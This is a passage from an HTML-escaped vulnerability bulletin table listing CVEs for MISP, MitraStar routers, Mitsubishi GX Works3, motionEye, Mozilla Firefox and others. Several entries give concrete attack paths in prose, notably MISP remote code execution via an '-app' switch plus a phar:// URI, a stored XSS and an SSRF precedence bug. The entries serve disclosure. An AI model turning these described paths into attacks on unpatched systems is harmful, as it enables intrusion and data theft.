&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91857&quot; target=&quot;_blank&quot;&gt;CVE-2026-91857&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;Affected versions of MISP can record incorrect access-log data for requests that terminate in an exception. Because CakeErrorController extends AppController, exception rendering runs the application startup path a second time. As a result, __accessMonitor() calls AccessLog::logRequest() twice for one HTTP request. The second deferred writer measures the error-controller execution instead of the original request and can overwrite the row created by the first pass. The corrupted fields include request duration, SQL query count, memory usage, and potentially the recorded query log. The bug was masked because the same model instance retained the ID of the first saved row, causing the later save to issue an UPDATE rather than insert an obvious duplicate row. Version affected: â‰¤2.5.45&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91859&quot; target=&quot;_blank&quot;&gt;CVE-2026-91859&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;Affected versions of MISP use Redis to throttle repeated authentication-failure log entries. The intent is to avoid excessive duplicate logs while still recording failed authentication activity. However, User-&amp;gt;setupRedis() returns false when Redis cannot be reached. The vulnerable _shouldLog() logic only returned true when a Redis instance existed and no throttle key was present. Therefore, when Redis was unavailable, the function did not allow the log write at all, effectively silencing authentication-failure logging for the duration of the outage. Version affected: â‰¤2.5.45&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92002&quot; target=&quot;_blank&quot;&gt;CVE-2026-92002&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;Affected versions of MISP do not consistently apply the existing authentication-failure logging throttle. Two API authentication failure branches wrote directly to the Log model: ƒ- API requests with no authentication key; ƒ- requests supplying an API key with an incorrect length Unlike other authentication failures, these paths bypassed _shouldLog(), so every request could create another durable auth_fail entry. Version affected: â‰¤2.5.45&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92003&quot; target=&quot;_blank&quot;&gt;CVE-2026-92003&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;misp--misp&lt;/td&gt;
&lt;td&gt;MISP contains a vulnerability in its background job dispatch mechanism that allows remote code execution as the web user. Background job arguments are passed directly as the argv of the CakePHP console process. CakePHP&#039;s ShellDispatcher::_parsePaths() scans the entire argv for path switches (-app, --app, -working, --working, -root, --root, -webroot, --webroot) and uses the following element as the application root. The events/contact endpoint passes user-controlled fields (message and person) into job arguments without validation. An attacker who can submit the contact form can set the person field to a reserved switch (e.g., -app) and the message field to a phar:// URI pointing to a malicious archive. The CakePHP bootstrap then includes Config/core.php from within that archive, executing attacker-controlled PHP code with the privileges of the web user. The vulnerability requires the ability to submit the events/contact form (or any other endpoint that forwards user input into background job arguments). No special timing or race condition is required; the attack is deterministic once the crafted parameters are accepted. The impact is full remote code execution in the context of the MISP web server process, allowing data exfiltration, persistence, and lateral movement within the host.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93295&quot; target=&quot;_blank&quot;&gt;CVE-2026-93295&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;misp--misp&lt;/td&gt;
&lt;td&gt;MISP contains a stored cross-site scripting (XSS) vulnerability in the Overmind theme&#039;s statistics views. The event General card (event_general.ctp) and the server/feed preview card (preview_general.ctp) constructed donut chart legend labels by directly concatenating object name or category keys into an innerHTML string without HTML-encoding. Because MISP object names (e.g., attribute names, event names, or server/feed identifiers) are user-controllable by any authenticated user with sufficient permissions to create or modify such objects, an attacker could craft a name containing malicious markup (for example, a script tag or event-handler attribute). When any other user viewed the affected Overmind dashboard, the injected markup would be interpreted as live HTML/JavaScript in the victim&#039;s browser, executing in the context of the MISP application origin. This could allow session hijacking, data exfiltration, or arbitrary actions performed on behalf of the victim. The vulnerability requires the attacker to have low-level authenticated access to create or rename an object whose name is rendered in the legend, and the victim to view the Overmind event or server preview page. No special browser conditions or race conditions are required.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93296&quot; target=&quot;_blank&quot;&gt;CVE-2026-93296&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;misp--sachertortephp&lt;/td&gt;
&lt;td&gt;In the MISP sachertortephp library, the Xml::build() static method in lib/Cake/Utility/Xml.php contains a logic error in the conditional that gates network-based XML fetching. The original condition was written as: $options[&#039;readFile&#039;] &amp;amp;&amp;amp; strpos($input, &#039;http://&#039;) === 0 || strpos($input, &#039;https://&#039;) === 0. Because PHP&#039;s &amp;amp;&amp;amp; operator has higher precedence than ||, the expression is evaluated as ($options[&#039;readFile&#039;] &amp;amp;&amp;amp; strpos($input, &#039;http://&#039;) === 0) || strpos($input, &#039;https://&#039;) === 0. As a result, when a caller explicitly sets the readFile option to false to disable file and URL reading, an input string beginning with https:// still satisfies the condition and triggers a network fetch via HttpSocket (configured to follow up to 10 redirects). The http:// branch is correctly gated by the readFile flag, but the https:// branch is not. An attacker who can influence the $input parameter passed to Xml::build() can therefore force the application to issue an outbound HTTPS request to an attacker-controlled or internal URL, even though the caller intended to suppress all remote reads. The fetched response is parsed as XML and may be returned to the caller, enabling information disclosure from internal services or external targets. This constitutes a Server-Side Request Forgery (SSRF) weakness with an information-disclosure impact. The vulnerability requires that the code path in Xml::build() be reachable with attacker-controlled input and that the readFile option be set to false (or the caller expects it to be false).&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92932&quot; target=&quot;_blank&quot;&gt;CVE-2026-92932&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MitraStar -- GPT-2742GX4X5v6-SV&lt;/td&gt;
&lt;td&gt;An issue in MitraStar GPT-2742GX4X5v6-SV GL_g2.5_100XNT0b23_3 allows an authenticated attacker to execute arbitrary code via the /cgi-bin/device-management-utilities-internet.cgi component&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52484&quot; target=&quot;_blank&quot;&gt;CVE-2026-52484&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MitraStar --GPT-2741GNAC-N2-SV router&amp;nbsp;&lt;/td&gt;
&lt;td&gt;The ping diagnostics and other similar functions of the MitraStar GPT-2741GNAC-N2-SV router with firmware BR_g8.10_1.11(WVK.0)b46 allow authenticated users execute arbitrary OS command via concatenated params on a crafted POST request for the endpoint /cgi-bin/device-management-utilities-internet.cgi.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52483&quot; target=&quot;_blank&quot;&gt;CVE-2026-52483&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mitsubishi Electric Corporation--GX Works3&lt;/td&gt;
&lt;td&gt;Incorrect Implementation of Authentication Algorithm Vulnerability in Mitsubishi Electric GX Works3 and Motion Control Setting allows a local attacker to successfully authenticate even with an invalid block password by executing the affected product and modifying part of the executable module in memory, and thereby may be able to view, tamper with, destroy, or delete control programs.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15688&quot; target=&quot;_blank&quot;&gt;CVE-2026-15688&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MobiAPParc--MobiAPParc&lt;/td&gt;
&lt;td&gt;The password reset funcionality is vulnerable to unauthorized account modification due to improper validation of the user_id parameter. An attacker can manipulate this predictable numeric identifier to reset passwords for arbitrary users without proving account ownership.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14850&quot; target=&quot;_blank&quot;&gt;CVE-2026-14850&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mojolicious--mojo&lt;/td&gt;
&lt;td&gt;Mojolicious is a real-time web framework for Perl. Prior to 9.47, the pure-Perl implementation of Mojo::JSON does not limit nesting depth when Cpanel::JSON::XS is unavailable or MOJO_NO_JSON_XS is enabled. An attacker who can supply untrusted JSON to decode_json, from_json, or j can submit deeply nested arrays or objects, causing unbounded recursion, memory exhaustion, and a process crash. Applications using the Cpanel::JSON::XS backend are not affected because that backend already enforces a nesting limit. This issue is fixed in version 9.47.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68914&quot; target=&quot;_blank&quot;&gt;CVE-2026-68914&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Monkey --Monkey&amp;nbsp;&lt;/td&gt;
&lt;td&gt;A Null Pointer Dereference in the mk_sched_event_close function (mk_server/mk_scheduler.c) of Monkey through commit 4fb0c16 allows attackers to cause a Denial of Service (DoS) via sending a crafted HTTP request to the server.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-38999&quot; target=&quot;_blank&quot;&gt;CVE-2026-38999&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Moonshot --AI Kimi&lt;/td&gt;
&lt;td&gt;Cross Site Scripting vulnerability in Moonshot AI Kimi version as of 2026-07-18 allows a remote attacker to execute arbitrary code via the HTML artifact Preview rendering; public Share view component&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79294&quot; target=&quot;_blank&quot;&gt;CVE-2026-79294&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;motioneye-project--motioneye&lt;/td&gt;
&lt;td&gt;motionEye (mEye) is an online interface for a piece of software called &quot;motion,&quot; which is a video surveillance program with motion detection. Prior to 0.44.0, motionEye accepts the client-controlled meye_username and meye_password_hash cookies as authentication material without server-side session validation. An unauthenticated attacker who knows a target username and corresponding hash can set the cookies manually or cause them to be loaded by submitting blank credentials through the switch-user authentication flow, after which the server authenticates the attacker as that user. The administrator username and password-hash value are stored in /etc/motioneye/motion.conf, which is globally readable by default, allowing a local shell user to obtain reusable administrator credential material. Successful impersonation can enable account lockout, password changes and persistence, data enumeration, data destruction, and data exfiltration. This issue is fixed in version 0.44.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-46488&quot; target=&quot;_blank&quot;&gt;CVE-2026-46488&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Motors--Motors&lt;/td&gt;
&lt;td&gt;The Motors WordPress plugin before 1.4.121 does not verify that a request is authorized to view a user&#039;s non-published listings before returning them, allowing unauthenticated attackers to read any author&#039;s draft, pending and private car listings - including titles, prices, media URLs and seller notes - by supplying only the target&#039;s numeric user id.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91016&quot; target=&quot;_blank&quot;&gt;CVE-2026-91016&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Moxa--TN-4500B Series&lt;/td&gt;
&lt;td&gt;An out-of-bounds write vulnerability exists in some of the Ethernet switches because of improper validation of the username field length during Web login processing. This may allow a remote attacker to submit a specially crafted overly long input, triggering a buffer overflow that can cause the authentication process to crash and result in a Denial of Service (DoS) attack.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15579&quot; target=&quot;_blank&quot;&gt;CVE-2026-15579&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Use-after-free in the Audio/Video: Web Codecs component. This vulnerability was fixed in Firefox 156, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92005&quot; target=&quot;_blank&quot;&gt;CVE-2026-92005&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Privilege escalation due to incorrect boundary conditions in the Graphics: CanvasWebGL component. This vulnerability was fixed in Firefox 156, Firefox ESR 115.41, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92006&quot; target=&quot;_blank&quot;&gt;CVE-2026-92006&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Privilege escalation due to incorrect boundary conditions in the Graphics: CanvasWebGL component. This vulnerability was fixed in Firefox 156, Firefox ESR 115.41, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92007&quot; target=&quot;_blank&quot;&gt;CVE-2026-92007&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Privilege escalation due to incorrect boundary conditions in the Graphics: CanvasWebGL component. This vulnerability was fixed in Firefox 156, Firefox ESR 115.41, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92008&quot; target=&quot;_blank&quot;&gt;CVE-2026-92008&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Privilege escalation due to incorrect boundary conditions in the Graphics: CanvasWebGL component. This vulnerability was fixed in Firefox 156, Firefox ESR 115.41, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92009&quot; target=&quot;_blank&quot;&gt;CVE-2026-92009&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Privilege escalation due to incorrect boundary conditions in the Graphics: CanvasWebGL component. This vulnerability was fixed in Firefox 156, Firefox ESR 115.41, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92010&quot; target=&quot;_blank&quot;&gt;CVE-2026-92010&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Privilege escalation due to incorrect boundary conditions in the Graphics: CanvasWebGL component. This vulnerability was fixed in Firefox 156, Firefox ESR 115.41, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92011&quot; target=&quot;_blank&quot;&gt;CVE-2026-92011&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Privilege escalation due to incorrect boundary conditions in the Graphics: CanvasWebGL component. This vulnerability was fixed in Firefox 156, Firefox ESR 115.41, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92012&quot; target=&quot;_blank&quot;&gt;CVE-2026-92012&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Privilege escalation due to incorrect boundary conditions in the Graphics: CanvasWebGL component. This vulnerability was fixed in Firefox 156, Firefox ESR 115.41, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92013&quot; target=&quot;_blank&quot;&gt;CVE-2026-92013&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Privilege escalation due to incorrect boundary conditions in the Graphics component. This vulnerability was fixed in Firefox ESR 115.41, Firefox ESR 140.16, and Thunderbird 140.16.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92014&quot; target=&quot;_blank&quot;&gt;CVE-2026-92014&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Privilege escalation in the WebExtensions component. This vulnerability was fixed in Firefox 156, Firefox ESR 115.41, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92015&quot; target=&quot;_blank&quot;&gt;CVE-2026-92015&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Use-after-free in the Disability Access APIs component. This vulnerability was fixed in Firefox 156, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92016&quot; target=&quot;_blank&quot;&gt;CVE-2026-92016&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Privilege escalation in the DOM: Service Workers component. This vulnerability was fixed in Firefox 156, Firefox ESR 115.41, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92017&quot; target=&quot;_blank&quot;&gt;CVE-2026-92017&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Sandbox escape in the DOM: Core &amp;amp; HTML component. This vulnerability was fixed in Firefox 156, Firefox ESR 115.41, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92018&quot; target=&quot;_blank&quot;&gt;CVE-2026-92018&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Mitigation bypass in the Remote Settings Client component. This vulnerability was fixed in Firefox 156, Firefox ESR 115.41, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92019&quot; target=&quot;_blank&quot;&gt;CVE-2026-92019&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Privilege escalation due to incorrect boundary conditions in the Graphics: WebRender component. This vulnerability was fixed in Firefox 156, Firefox ESR 115.41, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92020&quot; target=&quot;_blank&quot;&gt;CVE-2026-92020&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Use-after-free in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox ESR 140.16 and Thunderbird 140.16.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92021&quot; target=&quot;_blank&quot;&gt;CVE-2026-92021&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Use-after-free in the DOM: HTML Parser component. This vulnerability was fixed in Firefox 156, Firefox ESR 115.41, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92022&quot; target=&quot;_blank&quot;&gt;CVE-2026-92022&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Use-after-free in the XML component. This vulnerability was fixed in Firefox 156, Firefox ESR 115.41, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92023&quot; target=&quot;_blank&quot;&gt;CVE-2026-92023&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Use-after-free in the SVG component. This vulnerability was fixed in Firefox 156, Firefox ESR 115.41, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92024&quot; target=&quot;_blank&quot;&gt;CVE-2026-92024&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Use-after-free in the DOM: Navigation component. This vulnerability was fixed in Firefox 156, Firefox ESR 115.41, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92025&quot; target=&quot;_blank&quot;&gt;CVE-2026-92025&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Use-after-free in the Networking component. This vulnerability was fixed in Firefox 156, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92026&quot; target=&quot;_blank&quot;&gt;CVE-2026-92026&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Use-after-free in the DOM: Streams component. This vulnerability was fixed in Firefox 156, Firefox ESR 115.41, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
